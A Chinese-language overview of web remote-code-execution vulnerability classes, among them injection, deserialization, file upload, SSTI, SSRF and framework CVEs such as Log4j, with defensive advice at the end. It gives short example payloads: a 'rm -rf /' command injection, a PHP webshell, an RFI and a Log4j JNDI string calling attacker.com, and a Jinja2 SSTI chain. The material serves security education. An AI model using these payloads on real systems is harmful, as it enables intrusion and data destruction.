【Web RCE 漏洞常见类型】
Web RCE 漏洞常见类型
- 1. 注入类漏洞
- 2. 反序列化漏洞
- 3. 文件处理漏洞
- 4. 模板引擎漏洞
- 5. 服务端请求伪造(SSRF)
- 6. 框架/中间件漏洞
- 7. 第三方组件漏洞
- 8. 配置不当与协议滥用
- 9. 其他边缘场景
- 防御建议
以下是可以导致远程代码执行(RCE)的常见 Web 漏洞类型及示例,按类别分类整理:
1. 注入类漏洞
-
命令注入
用户输入直接拼接到系统命令中(如;
、|
、&&
),攻击者注入恶意命令。
示例:http://example.com/ping?ip=127.0.0.1;rm -rf /
。 -
代码注入
用户输入被动态执行(如eval()
、exec()
)。
示例:PHP 中eval($_GET['code'])
允许执行任意 PHP 代码。 -
表达式语言注入
在 Java EL、OGNL 或 SpEL 中注入表达式。
示例:Apache Struts 漏洞(如 S2-045)通过 OGNL 表达式执行代码。
2. 反序列化漏洞
- 不安全反序列化
反序列化未经验证的数据触发恶意逻辑。
示例:Java 中ObjectInputStream
反序列化恶意对象(如 Apache Commons Collections 漏洞)。
3. 文件处理漏洞
-
文件上传漏洞
上传恶意文件(如.php
、.jsp
)并访问触发执行。
示例:上传 PHP WebShell(<?php system($_GET['cmd']); ?>
)。 -
远程文件包含(RFI)
动态包含远程文件执行代码。
示例:http://example.com/?page=http://attacker.com/shell.php
。
4. 模板引擎漏洞
- 服务端模板注入(SSTI)
用户输入嵌入模板引擎执行代码。
示例:Jinja2 中{{ 7*7 }}
测试,注入{{ ''.__class__.__mro__[1].__subclasses__() }}
执行命令。
5. 服务端请求伪造(SSRF)
结合内部服务漏洞触发 RCE。
示例:通过 SSRF 攻击 Redis,写入计划任务或 WebShell。
6. 框架/中间件漏洞
-
已知框架漏洞
未修补的公开漏洞直接导致 RCE。
示例:- Log4j(CVE-2021-44228):
${jndi:ldap://attacker.com/exp}
。 - Apache Struts(S2-045):OGNL 表达式注入。
- Spring4Shell(CVE-2022-22965):通过数据绑定攻击。
- Log4j(CVE-2021-44228):
-
Web 服务器漏洞
示例:- Tomcat CVE-2017-12615:PUT 方法上传恶意 JSP。
- Shellshock(CVE-2014-6271):通过 HTTP 头注入 Bash 命令。
7. 第三方组件漏洞
- 依赖库漏洞
使用含 RCE 漏洞的第三方库。
示例:- Fastjson 反序列化漏洞(CVE-2022-25845)。
- PHP 的 phar 反序列化。
8. 配置不当与协议滥用
-
危险协议处理
允许gopher://
、file://
等协议导致代码执行。
示例:利用 PHP 的file_put_contents('phar://...')
触发反序列化。 -
启用危险函数
PHP 配置中未禁用exec()
、system()
等函数。
9. 其他边缘场景
- HTTP 头注入
结合服务器解析漏洞执行命令(如 Apache mod_cgi)。 - 缓冲区溢出
Web 服务底层组件(如旧版 IIS)存在溢出漏洞。
防御建议
- 对所有输入进行严格验证和过滤。
- 避免直接拼接用户输入到命令或代码中。
- 禁用危险函数(如
eval()
、system()
)。 - 及时更新框架、中间件和依赖库。
- 限制文件上传类型,并存储到不可执行目录。
- 配置安全的反序列化机制(如白名单验证)。
以上漏洞均可能直接或间接导致远程代码执行,实际利用需结合具体环境。建议通过渗透测试和自动化工具(如 DAST/SAST)持续检测。